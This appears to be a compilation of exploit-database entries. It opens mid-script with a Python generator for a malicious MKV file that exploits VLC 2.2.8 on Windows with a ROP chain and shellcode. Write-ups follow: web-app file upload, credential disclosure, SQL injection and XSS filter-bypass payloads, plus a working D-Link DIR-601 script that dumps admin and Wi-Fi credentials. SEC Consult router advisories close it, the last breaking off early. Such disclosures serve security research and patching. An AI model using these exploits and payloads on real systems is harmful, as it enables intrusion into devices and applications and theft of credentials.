        rop_chain = ''.join(pack('<Q', _) for _ in rop_gadgets[bits][version])

        # https://github.com/peterferrie/win-exec-calc-shellcode/tree/master/build/bin
        # w64-exec-calc-shellcode-esp.bin
        shellcode = (
        "\x66\x83\xe4\xf0\x50\x6a\x60\x5a\x68\x63\x61\x6c\x63\x54\x59\x48"
        "\x29\xd4\x65\x48\x8b\x32\x48\x8b\x76\x18\x48\x8b\x76\x10\x48\xad"
        "\x48\x8b\x30\x48\x8b\x7e\x30\x03\x57\x3c\x8b\x5c\x17\x28\x8b\x74"
        "\x1f\x20\x48\x01\xfe\x8b\x54\x1f\x24\x0f\xb7\x2c\x17\x8d\x52\x02"
        "\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xef\x8b\x74\x1f\x1c\x48\x01"
        "\xfe\x8b\x34\xae\x48\x01\xf7\x99\xff\xd7"
        # add shellcode to avoid crashes by terminating the process
        # xor rcx, rcx # mov rax, pExit # call [rax]
        "\x48\x31\xc9\x48\xc7\xc0" + pack("<I", pExit) + "\xff\x10")

        if size == 0x180:
            UAF_object = '\x41'
            while len(UAF_object) < size:
                UAF_object += UAF_object
            UAF_object = UAF_object[:size]
            UAF_object = UAF_object[:0x30] + target_address_packed + UAF_object[0x38:]
            UAF_object = UAF_object[:0x38] + pack("<Q", target_address + 0x10000) + UAF_object[0x40:]
            UAF_object = UAF_object[:0x168] + pack("<Q", target_address + 0x3c0) + UAF_object[0x170:]
            UAF_object = UAF_object[:0x170] + target_address_packed + UAF_object[0x178:]
            return UAF_object
        else:
            block = '\x00'
            block_size = 0x1000
            while len(block) < block_size:
                block += block
            block = block[:block_size]
            block = block[:0x0] + '\x41' * 4 + block[0x4:]
            block = block[:0x8] + target_address_packed + block[0x10:]
            block = block[:0x10] + target_address_packed + block[0x18:]
            block = block[:0x40] + pack("<Q", 0x1) + block[0x48:]
            block = block[:0x58] + pack("<Q", target_address + 0x3a8) + block[0x60:]
            block = block[:0xE4] + pack("<Q", 0x1) + block[0xEC:]
            block = block[:0x1b8] + pack("<Q", target_address + 0x80) + block[0x1c0:]
            block = block[:0x3b8] + rop_chain + block[0x3b8+len(rop_chain):]
            block = block[:0x500] + shellcode + block[0x500 + len(shellcode):]
            block = block[:0x6d8] + pack("<Q", target_address + 0x10) + block[0x6e0:]
            while len(block) < size:
                block += block
            return block[:size]
    else:
        target_address_packed = pack("<I", target_addresses[bits])
        rop_chain = ''.join(pack('<I', _) for _ in rop_gadgets[bits][version])

        # https://github.com/peterferrie/win-exec-calc-shellcode/tree/master/build/bin
        # w32-exec-calc-shellcode.bin
        shellcode = (
        "\x83\xE4\xFC\x31\xD2\x52\x68\x63\x61\x6C\x63\x54\x59\x52\x51\x64"
        "\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B"
        "\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x54\x1F\x24"
        "\x0F\xB7\x2C\x17\x42\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF0"
        "\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\xAE\xFF\xD7"
        # add shellcode to avoid crashes by terminating the process
        # xor eax, eax # push eax # mov eax, pExit # jmp eax
        "\x31\xC0\x50\xA1" + pack("<I", pExit) + "\xff\xe0")

        if size == 0x100:
            UAF_object = '\x41'
            while len(UAF_object) < size:
                UAF_object += UAF_object
            UAF_object = UAF_object[:size]
            UAF_object = UAF_object[:0x28] + target_address_packed + UAF_object[0x2c:]
            UAF_object = UAF_object[:0x2c] + pack("<I", target_address + 0x10000) + UAF_object[0x30:]
            UAF_object = UAF_object[:0xf4] + pack("<I", target_address + 0x2bc) + UAF_object[0xf8:]
            UAF_object = UAF_object[:0xf8] + target_address_packed + UAF_object[0xfc:]
            return UAF_object
        else:
            block = '\x00'
            block_size = 0x1000
            while len(block) < block_size:
                block += block
            block = block[:block_size]
            block = block[:0x0] + pack("<I", 0x22000040) + block[0x4:]
            block = block[:0x4] + target_address_packed + block[0x8:]
            block = block[:0x8] + target_address_packed + block[0xc:]
            block = block[:0x10] + pack("<I", 0xc85) + block[0x14:]
            block = block[:0x30] + pack("<I", 0x1) + block[0x34:]
            block = block[:0xc0] + pack("<I", 0x1) + block[0xc4:]
            block = block[:0x194] + pack("<I", 0x2200031c) + block[0x198:]
            block = block[:0x2c0] + pack("<I", 0x220002e4) + block[0x2c4:]
            block = block[:0x2f4] + pack("<I", 0x22000310) + block[0x2f8:]
            block = block[:0x2f8] + rop_chain + block[0x2f8+len(rop_chain):]
            block = block[:0x564] + pack("<I", 0x22000588) + block[0x568:]
            block = block[:0x5e0] + shellcode + block[0x5e0+len(shellcode):]
            while len(block) < size:
                block += block
            return block[:size]

def build_exploit(bits, version):
    # EBML Header
    DocType = "\x42\x82" + data_size(8) + "matroska"
    EBML = "\x1a\x45\xdf\xa3" + data_size(len(DocType)) + DocType

    # Seek Entries
    SeekEntry = "\x53\xab" + data_size(4)                             # SeekID
    SeekEntry += "\x15\x49\xa9\x66"                                   # KaxInfo
    SeekEntry += "\x53\xac" + data_size(2) + "\xff" * 2               # SeekPosition + Index of Segment info
    SeekEntries = "\x4d\xbb" + data_size(len(SeekEntry)) + SeekEntry  # Seek Entry

    SeekEntry = "\x53\xab" + data_size(4)                             # SeekID
    SeekEntry += "\x11\x4d\x9b\x74"                                   # KaxSeekHead
    SeekEntry += "\x53\xac" + data_size(4) + "\xff" * 4               # SeekPosition + Index of SeekHead
    SeekEntries += "\x4d\xbb" + data_size(len(SeekEntry)) + SeekEntry # Seek Entry

    SeekEntry = "\x53\xab" + data_size(4)                             # SeekID
    SeekEntry += "\x10\x43\xa7\x70"                                   # KaxChapters
    SeekEntry += "\x53\xac" + data_size(4) + "\xff" * 4               # SeekPosition + Index of Chapters
    SeekEntries += "\x4d\xbb" + data_size(len(SeekEntry)) + SeekEntry # Seek Entry

    # SeekHead
    SeekHead = "\x11\x4d\x9b\x74" + data_size(len(SeekEntries)) + SeekEntries

    # Void
    Void = "\xec" + data_size(2) + "\x41" # Trigger bug with an out-of-order element

    # Info
    SegmentUID = "\x73\xa4" + data_size(16) + uuid.uuid4().bytes
    Info = "\x15\x49\xa9\x66" + data_size(len(SegmentUID)) + SegmentUID

    # Chapters
    ChapterSegmentUID = "\x6e\x67" + data_size(16) + uuid.uuid4().bytes
    ChapterAtom = "\xb6" + data_size(len(ChapterSegmentUID)) + ChapterSegmentUID
    EditionEntry = "\x45\xb9" + data_size(len(ChapterAtom)) + ChapterAtom
    Chapters = "\x10\x43\xa7\x70" + data_size(len(EditionEntry)) + EditionEntry

    if bits == '64':
        size = 0x180
        count = 60
    else:
        size = 0x100
        count = 30

    # Attachments
    print "[+] Generating UAF objects...",
    AttachedFiles = ""
    for i in range(500):
        AttachedFiles += str(AttachedFile(build_data(size, bits, version)))
    Attachments = "\x19\x41\xa4\x69" + data_size(len(AttachedFiles)) + AttachedFiles
    print "done"

    # Cluster
    print "[+] Generating payload...",
    payload = build_data(0xfff000, bits, version)
    SimpleBlocks = "\xa3" + data_size(len(payload)) + payload
    SimpleBlocksLength = len(SimpleBlocks) * count
    Timecode = "\xe7" + data_size(1) + "\x00"
    Cluster = "\x1f\x43\xb6\x75" + data_size(len(Timecode) + SimpleBlocksLength) + Timecode
    print "done"

    # Concatenate everything
    SegmentData = SeekHead + Void + Info + Chapters + Attachments + Cluster
    Segment = "\x18\x53\x80\x67" + data_size(len(SegmentData) + SimpleBlocksLength) + SegmentData
    mkv = EBML + Segment

    print "[+] Writing poc MKV...",
    with open('poc.mkv', 'wb') as fp:
        fp.write(mkv)
        for i in range(count):
            fp.write(SimpleBlocks)
    print "done"

    # Bug requires another MKV file in the same directory, hence we
    # generate another 'minimally valid' MKV file that VLC will parse
    # Also able to use any other valid MKV file...
    auxi_mkv = mkv[:0x4f] + "\x15\x49\xa9\x66" + data_size(10) # Add some arbitrary size

    print "[+] Writing auxiliary MKV...",
    with open('auxi.mkv', 'wb') as fp:
        fp.write(auxi_mkv)
    print "done"

if __name__ == '__main__':
    bits = '64' # 32 / 64
    version = '2.2.8'

    print "Building exploit for %s-bit VLC media player %s on Windows" % (bits, version)
    build_exploit(bits, version)
    print "Open VLC and drag and drop in poc.mkv"
            
# Exploit Title: ShopNx - Angular5 Single Page Shopping Cart Application 1 - Arbitrary File Upload
# Date: 2018-07-03
# Exploit Author: L0RD
# Email: borna.nematzadeh123@gmail.com
# Vendor Homepage: http://codenx.com/
# Version: 1
# CVE: CVE-2018-12519
# Tested on: Win 10
===================================================
# Description :
ShopNx 1 is an Angular 5 single page application which suffers from
arbitrary file upload vulnerability .
Attacker can upload malicious files on server because
the application fails to sufficiently sanitize user-supplied input.

# POC :
1) Login as a regular user and navigate to "edit profile"
2) Click on "Avatar" and upload your HTML file which contains malicious javascript code.
3) You can find your uploaded file here :
   Path : http://shop.codenx.com/uploads/[Your File]


# Request :
=========================
POST /api/media HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://site.com/account/edit-profile
Content-Length: 367
Content-Type: multipart/form-data;
boundary=---------------------------31031276124582
Connection: keep-alive

-----------------------------31031276124582
Content-Disposition: form-data; name="file"; filename="file.html"
Content-Type: text/html

<html>
<head>
<title>TEST</title>
</head>
<body>
    <script>
        console.log(document.cookie);
    </script>
</body>
</html>
-----------------------------31031276124582--

====================================================
            
# Exploit Title: Online Trade 1 - Information Disclosure
# Date: 2018-07-03
# Exploit Author: L0RD
# Vendor Homepage:
https://codecanyon.net/item/online-trade-online-forex-and-cryptocurrency-investment-system/21987193?s_rank=14
# CVE: CVE-2018-12908
# Version: 1
# Tested on: Win 10
=======================================
# Description :
Online trading and cryptocurrency investment system 1 allows
information disclosure by appending /dashboard/deposit.
The following path contains database credentials and other information
(username , password , database_name etc).

# POC :

# Request :
===================
GET /dashboard/deposit HTTP/1.1
Host: trade.brynamics.xyz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
===================
# Response :
===================
HTTP/1.1 405 Method Not Allowed
Date: Tue, 12 Jun 2018 21:21:45 GMT
Server: Apache
X-Powered-By: PHP/7.0.30
allow: POST
Cache-Control: no-cache, private
Content-Type: text/html; charset=UTF-8
Content-Length: 371161

<td>APP_ENV</td><span class=sf-dump-str title="5
characters">local</span></td>
<td>APP_KEY</td><span class=sf-dump-str title="51
characters">base64:NyL/WHTpZ0IhYKu7hHAzpF/Pvqn7+dD87tgpVvvEZrg=</span></td>
<td>APP_URL</td><span class=sf-dump-str title="16 characters">
http://localhost</span></td>
<td>DB_CONNECTION</td><span class=sf-dump-str title="5
characters">mysql</span></td>
<td>DB_HOST</td><span class=sf-dump-str title="9
characters">127.0.0.1</span></td>
<td>DB_PORT</td><span class=sf-dump-str title="4
characters">3306</span></td>
<td>DB_DATABASE</td><span class=sf-dump-str title="14
characters">torrpgug_trade</span></td>
<td>DB_USERNAME</td><span class=sf-dump-str title="15
characters">torrpgug_p2pguy</span></td>
<td>DB_PASSWORD</td><span class=sf-dump-str title="15
characters">undisputed@2017</span></td>
<td>MAIL_HOST</td><span class=sf-dump-str title="16 characters">
smtp.mailtrap.io</span></td>
<td>MAIL_PORT</td><span class=sf-dump-str title="4 characters">2525</span>
========================================
            
# Exploit Title: SoftExpert Excellence Suite 2.0 - 'cddocument' SQL Injection
# Author: Seren PORSUK
# Date: 2018-06-28
# Type: webapps
# Platform: PHP
# CVE= N/A
# Vendor Homepage : https://www.softexpert.com/solucao/softexpert-excellence-suite/

# DETAILS
# A SQL injection vulnerability in the SoftExpert (SE) Excellence Suite 2.0
# allows remote authenticated users to perform SQL heuristics by pulling
# information from the database with the "cddocument" parameter  in the
# "Downloading Electronic Documents" section.

# Vulnerable Parameter Type : GET
# Vulnerable Parameter : cddocument

#Vulnerable URL : 
http://localhost/se/v75408/generic/gn_eletronicfile_view/1.1/view_eletronic_download.php?class_name=dc_eletronic_file&classwaybusinessrule=class.dc_eletronic_file.inc&action=4&cddocument=[SQLi]&saveas1&mainframe=1&cduser=6853

#SQLi Parameter : 2  AND 1=2
            
SEC Consult Vulnerability Lab Security Advisory < 20180704-1 >
=======================================================================
title: Authorization Bypass
product: All ADB Broadband Gateways / Routers
(based on Epicentro platform)
vulnerable version: Hardware: ADB P.RG AV4202N, DV2210, VV2220, VV5522, etc.
fixed version: see "Solution" section below
CVE number: CVE-2018-13109
impact: critical
homepage: http://www.adbglobal.com
found: 2016-06-28
by: Johannes Greil (Office Vienna)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult
Europe | Asia | North America

https://www.sec-consult.com
=======================================================================

Vendor description:
-------------------
"ADB creates and delivers the right solutions that enable our customers to
reduce integration and service delivery challenges to increase ARPU and reduce
churn. We combine ADB know-how and products with those from a number of third
party industry leaders to deliver complete solutions that benefit from
collaborative thinking and best in class technologies."

Source: https://www.adbglobal.com/about-adb/

"Founded in 1995, ADB initially focused on developing and marketing software
for digital TV processors and expanded its business to the design and
manufacture of digital TV equipment in 1997. The company sold its first set-top
box in 1997 and since then has been delivering a number of set-top boxes, and
Gateway devices, together with advanced software platforms. ADB has sold over
60 million devices worldwide to cable, satellite, IPTV and broadband operators.
ADB employs over 500 people, of which 70% are in engineering functions."

Source: https://en.wikipedia.org/wiki/Advanced_Digital_Broadcast

Business recommendation:
------------------------
By exploiting the authorization bypass vulnerability on affected and unpatched
devices an attacker is able to gain access to settings that are otherwise
forbidden for the user, e.g. through strict settings set by the ISP. It is also
possible to manipulate settings to e.g. enable the telnet server for remote
access if it had been previously disabled by the ISP. The attacker needs some
user account, regardless of the permissions, for login, e.g. the default one
provided by the ISP or printed on the device can be used.

It is highly recommended by SEC Consult to perform a thorough security review
by security professionals for this platform. It is assumed that further critical
vulnerabilities exist within the firmware of this device.

Vulnerability overview/description:
-----------------------------------
1) Authorization bypass vulnerability (CVE-2018-13109)
Depending on the firmware version/feature-set of the ISP deploying the ADB
device, a standard user account may not have all settings enabled within
the web GUI.

An authenticated attacker is able to bypass those restrictions by adding a
second slash in front of the forbidden entry of the path in the URL.
It is possible to access forbidden entries within the first layer of the web
GUI, any further subsequent layers/paths (sub menus) were not possible to access
during testing but further exploitation can't be ruled out entirely.

Proof of concept:
-----------------
1) Authorization bypass vulnerability (CVE-2018-13109)
Assume the following URL is blocked/forbidden within the web GUI settings:
http://$IP/ui/dboard/settings/management/telnetserver

Adding a second slash in front of the blocked entry "telnetserver" will enable
full access including write permissions to change settings:
http://$IP/ui/dboard/settings/management//telnetserver

This works for many other settings within the web GUI!

In our tests it was not possible to access subsequent layers, e.g.:
Assume that both the proxy menu and submenu "rtsp" settings are blocked,
a second slash will _not_ enable access to the RTSP settings:
http://$IP/ui/dboard/settings/proxy//rtsp

Nevertheless, it can't be ruled out that sub menus can be accessed too when
further deeper tests are being performed.

Vulnerable / tested versions:
-----------------------------
The following devices & firmware have been tested which were the most recent
versions at the time of discovery:

The firmware versions depend on the ISP / customer of ADB and may vary!

ADB P.RG AV4202N - E_3.3.0, latest firmware version, depending on ISP
ADB DV 2210 - E_5.3.0, latest firmware version, depending on ISP
ADB VV 5522 - E_8.3.0, latest firmware version, depending on ISP
ADB VV 2220 - E_9.0.6, latest firmware version, depending on ISP
etc.

It has been confirmed by ADB that _all_ their ADB modems / gateways / routers
based on the Epicentro platform are affected by this vulnerability in all
firmware versions for all their customers (ISPs) at the time of identification
of the vulnerability _except_ those devices which have a custom UI developed
for the ISP.

Vendor contact timeline:
------------------------
2016-07-01: Contacting vendor ADB, sending encrypted advisory, asking about
affected devices
2016-07-08: Receiving information about affected devices
2016-07 - 2017-04: Further coordination, waiting for firmware release,
implementation & rollout phases for their customers
2018-07-04: Embargo lifted, public release of security advisory

Solution:
---------
The firmware versions depend on the ISP / customer of ADB and may vary!

Patch version:

ADB P.RG AV4202N >= E_3.3.2, firmware version depending on ISP
ADB DV2210 >= E_5.3.2, firmware version depending on ISP
ADB VV5522 >= E_8.3.2, firmware version depending on ISP
ADB VV2220 >= E_9.3.2, firmware version depending on ISP
etc.

Workaround:
-----------
Restrict access to the web interface and only allow trusted users.
Change any default/weak passwords to strong credentials.
Don't allow remote access to the web GUI via Internet.

Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF J. Greil / @2018
            
# Exploit Title: Instagram-clone Script 2.0 - Cross-Site Scripting
# Date: 2018-07-10
# Exploit Author: L0RD
# Vendor Homepage: https://github.com/yTakkar/Instagram-clone
# Version: 2.0
# CVE: CVE-2018-13849
# Tested on: Kali linux

# POC : Persistent Cross site scripting :
# vulnerable file : edit_requests.php
# vulnerable code :

if (isset($_POST['username'])) {
      $username = preg_replace("#[<> ]#i", "", $_POST['username']);
      $firstname = preg_replace("#[<> ]#i", "", $_POST['firstname']);
      $surname = preg_replace("#[<> ]#i", "", $_POST['surname']);
      $bio = preg_replace("#[<>]#i", "", $_POST['bio']);
      $instagram = preg_replace("#[<>]#i", "", $_POST['instagram']);
      $youtube = preg_replace("#[<>]#i", "", $_POST['youtube']);
      $facebook = preg_replace("#[<>]#i", "", $_POST['facebook']);
      $twitter = preg_replace("#[<>]#i", "", $_POST['twitter']);
      $website = preg_replace("#[<>]#i", "", $_POST['website']);
      $mobile = preg_replace("#[^0-9]#i", "", $_POST['mobile']);
      $tags = preg_replace("#[\s]#", "-", $_POST['tags']);
 $session = $_SESSION['id'];

      $m=$edit->saveProfileEditing($username, $firstname, $surname, $bio,
$instagram, $youtube, $facebook, $twitter, $website, $mobile, $tags);
      $array = array("mssg" => $m);
      echo json_encode($array);
    }

# We use this payload to bypass filter :
# Payload : 

"onmouseover=" alert(document.cookie)
            
# Exploit title: D-Link DIR601 2.02NA - Credential disclosure
# Date: 2018-07-10
# Exploit Author: Richard Rogerson
# Vendor Homepage: http://ca.dlink.com/
# Software Link: http://support.dlink.ca/ProductInfo.aspx?m=DIR-601
# Version: <= 2.02NA
# Tested on: D-Link DIR601 Firmware 2.02NA
# Contact: http://twitter.com/pktlabs
# Website: https://www.packetlabs.net
# CVE: N/A 
# Category: Webapps, Remote


# 1. Description:
# Through analyzing the Captcha function implemented in the DIR-601 (2.02NA firmware), 
# a HTTP request was found responsible for the handoff to client-side code. 
# Inspecting the HTTP requests, it was identified that a parameter named ‘table_name’ 
# is used to instruct the back-end application which content to return. By abusing this
# request, it was found possible to retrieve sensitive information relating to the device
# configuration and administrative credentials.

# It is possible to modify the HTTP POST to my_cgi.cgi and include as table_name references
# to retrieve the administrative credentials, wireless ssid, and pre-shared key where 
# applicable. Enumerating the naming conventions within the client-side code, it was
# determined that a number of potentially sensitive parameters/tables exist in the
# back-end environment which provide significant value if retrieved, four of these include:

# -	Admin_user
# -	Wireless_settings
# -	Wireless_security
# -	Wireless_wpa_settings

Sample of the vulnerable POST request:

HTTP Request
POST /my_cgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.0.1/login_real.htm
Content-Length: 86
Connection: close
Pragma: no-cache
Cache-Control: no-cache

request=no_auth&request=load_settings&table_name=create_auth_pic&table_name=admin_user <- additional table requested

Sample response:

HTTP Response
HTTP/1.1 200 OK
Content-type: text/xml
Connection: close
Date: Sat, 01 Jan 2011 00:57:12 GMT
Server: lighttpd/1.4.28
Content-Length: 228

<?xml version="1.0"?><root><login_level>1</login_level><show_authid>50649</show_authid><admin_user><admin_user_name>admin</admin_user_name><admin_user_pwd>clear-text-password</admin_user_pwd><admin_level>1</admin_level></admin_user></root>


# 2. Exploit Code:

#!/usr/bin/python
import socket,sys,urllib,urllib2
import xml.etree.ElementTree as ET

print """Packetlabs
====================================
D-Link DIR-601 Authorization Bypass
"""
if len(sys.argv) != 2:
	print "usage:",sys.argv[0],"<ipaddr>"
	sys.exit()
else:
    ipaddr=sys.argv[1]
    print "Retrieving admin username, password and wireless security configuration from",ipaddr

# build URL
url = 'http://'
url+= ipaddr
url+='/my_cgi.cgi'
data = "request=no_auth&request=load_settings&table_name=admin_user&table_name=user_user&table_name=wireless_settings&table_name=wireless_security&table_name=wireless_wpa_settings"

# send payload
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
print "Sending payload to:",response.geturl()
retr = response.read()
root = ET.fromstring(retr)

# credential dump
print "\r\nAdmin Creds"
print "username:",root[0][0].text
print "password:",root[0][1].text

# dump wireless settings
print "\r\nWireless Settings"
sectype=int(root[3][0].text)
ssid=root[2][2].text
enctype="none"

print "SSID is:", ssid
if sectype == 2:
	enctype="WPA2"
	key=root[4][3].text
elif sectype == 1:
	enctype="WEP("
	keylength=int(root[3][3].text)
	if keylength == 5:
            enctype+="64bit)"
	    key=root[3][5].text
	elif keylength == 13:
            enctype+="128bit)"
	    key=root[3][9].text
	else:
	    key="Error, please inspect xml manually above, keylength=",keylength
            print retr
elif sectype == 0:
	print "Wireless network is open?"
	sys.exit()

print enctype,"key is:",key
            
SEC Consult Vulnerability Lab Security Advisory < 20180704-2 >
=======================================================================
title: Privilege escalation via linux group manipulation
product: All ADB Broadband Gateways / Routers
(based on Epicentro platform)
vulnerable version: Hardware: ADB P.RG AV4202N, DV2210, VV2220, VV5522, etc.
fixed version: see "Solution" section below
CVE number: CVE-2018-13110
impact: critical
homepage: http://www.adbglobal.com
found: 2016-07-11
by: Stefan Viehböck (Office Vienna)
Johannes Greil (Office Vienna)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult
Europe | Asia | North America

https://www.sec-consult.com
=======================================================================

Vendor description:
-------------------
"ADB creates and delivers the right solutions that enable our customers to
reduce integration and service delivery challenges to increase ARPU and reduce
churn. We combine ADB know-how and products with those from a number of third
party industry leaders to deliver complete solutions that benefit from
collaborative thinking and best in class technologies."

Source: https://www.adbglobal.com/about-adb/

"Founded in 1995, ADB initially focused on developing and marketing software
for digital TV processors and expanded its business to the design and
manufacture of digital TV equipment in 1997. The company sold its first set-top
box in 1997 and since then has been delivering a number of set-top boxes, and
Gateway devices, together with advanced software platforms. ADB has sold over
60 million devices worldwide to cable, satellite, IPTV and broadband operators.
ADB employs over 500 people, of which 70% are in engineering functions."

Source: https://en.wikipedia.org/wiki/Advanced_Digital_Broadcast

Business recommendation:
------------------------
By exploiting the group manipulation vulnerability on affected and unpatched
devices an attacker is able to gain access to the command line interface (CLI)
if previously disabled by the ISP.

Depending on the feature-set of the CLI (ISP dependent) it is then possible to
gain access to the whole configuration and manipulate settings in the web GUI
and escalate privileges to highest access rights.

It is highly recommended by SEC Consult to perform a thorough security review
by security professionals for this platform. It is assumed that further critical
vulnerabilities exist within the firmware of this device.

Vulnerability overview/description:
-----------------------------------
1) Privilege escalation via linux group manipulation (CVE-2018-13110)
An attacker with standard / low access rights within the web GUI is able to
gain access to the CLI (if it has been previously disabled by the configuration)
and escalate his privileges.

Depending on the CLI features it is possible to extract the whole configuration
and manipulate settings or gain access to debug features of the device, e.g.
via "debug", "upgrade", "upload" etc. commands in the CLI.

Attackers can gain access to sensitive configuration data such as VoIP
credentials or other information and manipulate any settings of the device.

Proof of concept:
-----------------
1) Privilege escalation via linux group manipulation (CVE-2018-13110)
It is possible to manipulate the group name setting of "Storage users" and
overwrite the local linux groups called "remoteaccess" or "localaccess" in
(in /etc/group) which define access to Telnet or SSH on the ADB devices.

It may be possible to overwrite the "root" group as well but it may brick the
device and the default user is already within the "root" group. Hence this
attack has not been further tested.

The following steps describe the attack:
a) Add a new group called "localaccess" via the web GUI here:
http://$IP/ui/dboard/storage/storageusers?backto=storage

This will generate the following new group in /etc/group. The original
"localaccess" group will overwritten.

localaccess:Storage Group:5001:

b) Then delete this group via the web GUI again, the entry will be removed
from /etc/group completely.

c) Afterwards, create the following new group name entry via the web GUI and
add your user account (e.g. admin) which should have access to Telnet/SSH
now:

localaccess:x:20:root,admin,

d) Now the admin user has been added to the "localaccess" group and the "admin"
account is allowed to login via SSH or Telnet. Excerpt of new /etc/group:

localaccess:x:20:root,admin,:Storage Group:5001:

Further attacks on the CLI interface will not be described in detail within
this advisory. It is possible to add new user accounts with highest access rights
("newuser" command) or upload the whole configuration to a remote FTP server
("upload" command). The available feature-set of the CLI depends on the firmware
version.
The XML configuration is encrypted, but can be easily decrypted with access to the
firmware. Then it can be manipulated and uploaded to the device again ("upgrade"
command) which allows privilege escalation by changing permissions or roles
within this file.

Vulnerable / tested versions:
-----------------------------
The following specific devices & firmware have been tested which were the most
recent versions at the time of discovery:

The firmware versions depend on the ISP / customer of ADB and may vary!

ADB P.RG AV4202N - E_3.3.0, firmware version depending on ISP
ADB DV 2210 - E_5.3.0, firmware version depending on ISP
ADB VV 5522 - E_8.3.0, firmware version depending on ISP
ADB VV 2220 - E_9.0.6, firmware version depending on ISP
etc.

It has been confirmed by ADB that _all_ their ADB modems / gateways / routers
based on the Epicentro platform are affected by this vulnerability in all
firmware versions for all their customers (ISPs) at the time of identification
of the vulnerability _except_ those devices which have a custom UI developed
for the ISP.

Vendor contact timeline:
------------------------
2016-07-12: Contacting vendor ADB, sending encrypted advisory, asking about
affected devices
2016-07 - 2017-04: Further coordination, waiting for firmware release,
implementation & rollout phases for their customers
2018-07-04: Embargo lifted, public release of security advisory

Solution:
---------
The firmware versions depend on the ISP / customer of ADB and may vary!

Patch version:

ADB P.RG AV4202N >= E_3.3.2, firmware version depending on ISP
ADB DV2210 >= E_5.3.2, firmware version depending on ISP
ADB VV5522 >= E_8.3.2, firmware version depending on ISP
ADB VV2220 >= E_9.3.2, firmware version depending on ISP
etc.

Workaround:
-----------
Restrict access to the web interface and only allow trusted users.
Change any default/weak passwords to strong credentials.
Don't allow remote access to the web GUI via Internet.

Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF J. Greil / @2018
            
SEC Consult Vulnerability Lab Security Advisory < 20180704-0 >
=======================================================================
title: Local root jailbreak via network file sharing flaw
product: All ADB Broadband Gateways / Routers
(based on Epicentro platform)
vulnerable version: Hardware: ADB P.RG AV4202N, DV2210, VV2220, VV5522, etc.
fixed version: see "Solution" section below
CVE number: CVE-2018-13108
impact: critical
homepage: http://www.adbglobal.com
found: 2016-06-09
by: Johannes Greil (Office Vienna)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult
Europe | Asia | North America

https://www.sec-consult.com
=======================================================================

Vendor description:
-------------------
"ADB creates and delivers the right solutions that enable our customers to
reduce integration and service delivery challenges to increase ARPU and reduce
churn. We combine ADB know-how and products with those from a number of third
party industry leaders to deliver complete solutions that benefit from
collaborative thinking and best in class technologies."

Source: https://www.adbglobal.com/about-adb/

"Founded in 1995, ADB initially focused on developing and marketing software
for digital TV processors and expanded its business to the design and
manufacture of digital TV equipment in 1997. The company sold its first set-top
box in 1997 and since then has been delivering a number of set-top boxes, and
Gateway devices, together with advanced software platforms. ADB has sold over
60 million devices worldwide to cable, satellite, IPTV and broadband operators.
ADB employs over 500 people, of which 70% are in engineering functions."

